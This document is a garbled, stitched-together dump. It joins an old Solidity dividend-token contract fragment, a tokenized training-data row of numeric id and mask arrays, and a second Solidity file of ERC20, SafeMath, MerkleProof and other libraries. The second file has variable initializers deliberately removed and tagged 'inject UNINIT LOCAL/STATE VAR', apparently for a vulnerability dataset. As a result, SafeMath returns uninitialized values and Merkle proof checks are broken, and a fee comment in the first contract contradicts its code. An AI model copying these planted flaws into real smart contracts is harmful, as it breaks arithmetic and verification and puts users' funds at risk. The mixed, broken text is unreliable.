// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "NumbersToken";
string constant public symbol = "NUMB";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//address owner;
function NumbersToken() public {
//owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
/*function destroy() external {
selfdestruct(owner);
}*/
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
| The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 approximates the function log(1+x)-log(1-x) Hence R(s) = log((1+s)/(1-s)) = log(a) | var z = (s*s) / one;
| 1,079,664 | [
1,
1986,
16991,
534,
273,
276,
21,
92,
397,
276,
23,
92,
66,
23,
397,
1372,
397,
276,
2499,
225,
619,
66,
2499,
26962,
815,
326,
445,
613,
12,
21,
15,
92,
24950,
1330,
12,
21,
17,
92,
13,
670,
802,
534,
12,
87,
13,
273,
613,
12443,
21,
15,
87,
13176,
12,
21,
17,
87,
3719,
273,
613,
12,
69,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
202,
1401,
998,
273,
261,
87,
14,
87,
13,
342,
1245,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-10-27
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c ; //inject UNINIT LOCAL/STATE VAR
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c ; //inject UNINIT LOCAL/STATE VAR
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash ; //inject UNINIT LOCAL/STATE VAR
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _ConverttalSupply;
function totalSupply() public view returns(uint) {
return _ConverttalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_ConverttalSupply = _ConverttalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_ConverttalSupply = _ConverttalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash ; //inject UNINIT LOCAL/STATE VAR
for (uint256 i ; i < proof.length; i++) { //inject UNINIT LOCAL/STATE VAR
bytes32 proofElement ; //inject UNINIT LOCAL/STATE VAR
if (computedHash <= proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == root;
}
}
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp ; //inject UNINIT LOCAL/STATE VAR
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index ; //inject UNINIT LOCAL/STATE VAR
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
/**
* @dev Interface for `RelayHub`, the core contract of the GSN. Users should not need to interact with this contract
* directly.
*
* See the https://github.com/OpenZeppelin/openzeppelin-gsn-helpers[OpenZeppelin GSN helpers] for more information on
* how to deploy an instance of `RelayHub` on your local test network.
*/
interface IRelayHub {
// Relay management
/**
* @dev Adds stake to a relay and sets its `unstakeDelay`. If the relay does not exist, it is created, and the caller
* of this function becomes its owner. If the relay already exists, only the owner can call this function. A relay
* cannot be its own owner.
*
* All Ether in this function call will be added to the relay's stake.
* Its unstake delay will be assigned to `unstakeDelay`, but the new value must be greater or equal to the current one.
*
* Emits a {Staked} event.
*/
function stake(address relayaddr, uint256 unstakeDelay) external payable;
/**
* @dev Emitted when a relay's stake or unstakeDelay are increased
*/
event Staked(address indexed relay, uint256 stake, uint256 unstakeDelay);
/**
* @dev Registers the caller as a relay.
* The relay must be staked for, and not be a contract (i.e. this function must be called directly from an EOA).
*
* This function can be called multiple times, emitting new {RelayAdded} events. Note that the received
* `transactionFee` is not enforced by {relayCall}.
*
* Emits a {RelayAdded} event.
*/
function registerRelay(uint256 transactionFee, string calldata url) external;
/**
* @dev Emitted when a relay is registered or re-registered. Looking at these events (and filtering out
* {RelayRemoved} events) lets a client discover the list of available relays.
*/
event RelayAdded(address indexed relay, address indexed owner, uint256 transactionFee, uint256 stake, uint256 unstakeDelay, string url);
/**
* @dev Removes (deregisters) a relay. Unregistered (but staked for) relays can also be removed.
*
* Can only be called by the owner of the relay. After the relay's `unstakeDelay` has elapsed, {unstake} will be
* callable.
*
* Emits a {RelayRemoved} event.
*/
function removeRelayByOwner(address relay) external;
/**
* @dev Emitted when a relay is removed (deregistered). `unstakeTime` is the time when unstake will be callable.
*/
event RelayRemoved(address indexed relay, uint256 unstakeTime);
/** Deletes the relay from the system, and gives back its stake to the owner.
*
* Can only be called by the relay owner, after `unstakeDelay` has elapsed since {removeRelayByOwner} was called.
*
* Emits an {Unstaked} event.
*/
function unstake(address relay) external;
/**
* @dev Emitted when a relay is unstaked for, including the returned stake.
*/
event Unstaked(address indexed relay, uint256 stake);
// States a relay can be in
enum RelayState {
Unknown, // The relay is unknown to the system: it has never been staked for
Staked, // The relay has been staked for, but it is not yet active
Registered, // The relay has registered itself, and is active (can relay calls)
Removed // The relay has been removed by its owner and can no longer relay calls. It must wait for its unstakeDelay to elapse before it can unstake
}
/**
* @dev Returns a relay's status. Note that relays can be deleted when unstaked or penalized, causing this function
* to return an empty entry.
*/
function getRelay(address relay) external view returns (uint256 totalStake, uint256 unstakeDelay, uint256 unstakeTime, address payable owner, RelayState state);
// Balance management
/**
* @dev Deposits Ether for a contract, so that it can receive (and pay for) relayed transactions.
*
* Unused balance can only be withdrawn by the contract itself, by calling {withdraw}.
*
* Emits a {Deposited} event.
*/
function depositFor(address target) external payable;
/**
* @dev Emitted when {depositFor} is called, including the amount and account that was funded.
*/
event Deposited(address indexed recipient, address indexed from, uint256 amount);
/**
* @dev Returns an account's deposits. These can be either a contract's funds, or a relay owner's revenue.
*/
function balanceOf(address target) external view returns (uint256);
/**
* Withdraws from an account's balance, sending it back to it. Relay owners call this to retrieve their revenue, and
* contracts can use it to reduce their funding.
*
* Emits a {Withdrawn} event.
*/
function withdraw(uint256 amount, address payable dest) external;
/**
* @dev Emitted when an account withdraws funds from `RelayHub`.
*/
event Withdrawn(address indexed account, address indexed dest, uint256 amount);
// Relaying
/**
* @dev Checks if the `RelayHub` will accept a relayed operation.
* Multiple things must be true for this to happen:
* - all arguments must be signed for by the sender (`from`)
* - the sender's nonce must be the current one
* - the recipient must accept this transaction (via {acceptRelayedCall})
*
* Returns a `PreconditionCheck` value (`OK` when the transaction can be relayed), or a recipient-specific error
* code if it returns one in {acceptRelayedCall}.
*/
function canRelay(
address relay,
address from,
address to,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata signature,
bytes calldata approvalData
) external view returns (uint256 status, bytes memory recipientContext);
// Preconditions for relaying, checked by canRelay and returned as the corresponding numeric values.
enum PreconditionCheck {
OK, // All checks passed, the call can be relayed
WrongSignature, // The transaction to relay is not signed by requested sender
WrongNonce, // The provided nonce has already been used by the sender
AcceptRelayedCallReverted, // The recipient rejected this call via acceptRelayedCall
InvalidRecipientStatusCode // The recipient returned an invalid (reserved) status code
}
/**
* @dev Relays a transaction.
*
* For this to succeed, multiple conditions must be met:
* - {canRelay} must `return PreconditionCheck.OK`
* - the sender must be a registered relay
* - the transaction's gas price must be larger or equal to the one that was requested by the sender
* - the transaction must have enough gas to not run out of gas if all internal transactions (calls to the
* recipient) use all gas available to them
* - the recipient must have enough balance to pay the relay for the worst-case scenario (i.e. when all gas is
* spent)
*
* If all conditions are met, the call will be relayed and the recipient charged. {preRelayedCall}, the encoded
* function and {postRelayedCall} will be called in that order.
*
* Parameters:
* - `from`: the client originating the request
* - `to`: the target {IRelayRecipient} contract
* - `encodedFunction`: the function call to relay, including data
* - `transactionFee`: fee (%) the relay takes over actual gas cost
* - `gasPrice`: gas price the client is willing to pay
* - `gasLimit`: gas to forward when calling the encoded function
* - `nonce`: client's nonce
* - `signature`: client's signature over all previous params, plus the relay and RelayHub addresses
* - `approvalData`: dapp-specific data forwarded to {acceptRelayedCall}. This value is *not* verified by the
* `RelayHub`, but it still can be used for e.g. a signature.
*
* Emits a {TransactionRelayed} event.
*/
function relayCall(
address from,
address to,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata signature,
bytes calldata approvalData
) external;
/**
* @dev Emitted when an attempt to relay a call failed.
*
* This can happen due to incorrect {relayCall} arguments, or the recipient not accepting the relayed call. The
* actual relayed call was not executed, and the recipient not charged.
*
* The `reason` parameter contains an error code: values 1-10 correspond to `PreconditionCheck` entries, and values
* over 10 are custom recipient error codes returned from {acceptRelayedCall}.
*/
event CanRelayFailed(address indexed relay, address indexed from, address indexed to, bytes4 selector, uint256 reason);
/**
* @dev Emitted when a transaction is relayed.
* Useful when monitoring a relay's operation and relayed calls to a contract
*
* Note that the actual encoded function might be reverted: this is indicated in the `status` parameter.
*
* `charge` is the Ether value deducted from the recipient's balance, paid to the relay's owner.
*/
event TransactionRelayed(address indexed relay, address indexed from, address indexed to, bytes4 selector, RelayCallStatus status, uint256 charge);
// Reason error codes for the TransactionRelayed event
enum RelayCallStatus {
OK, // The transaction was successfully relayed and execution successful - never included in the event
RelayedCallFailed, // The transaction was relayed, but the relayed call failed
PreRelayedFailed, // The transaction was not relayed due to preRelatedCall reverting
PostRelayedFailed, // The transaction was relayed and reverted due to postRelatedCall reverting
RecipientBalanceChanged // The transaction was relayed and reverted due to the recipient's balance changing
}
/**
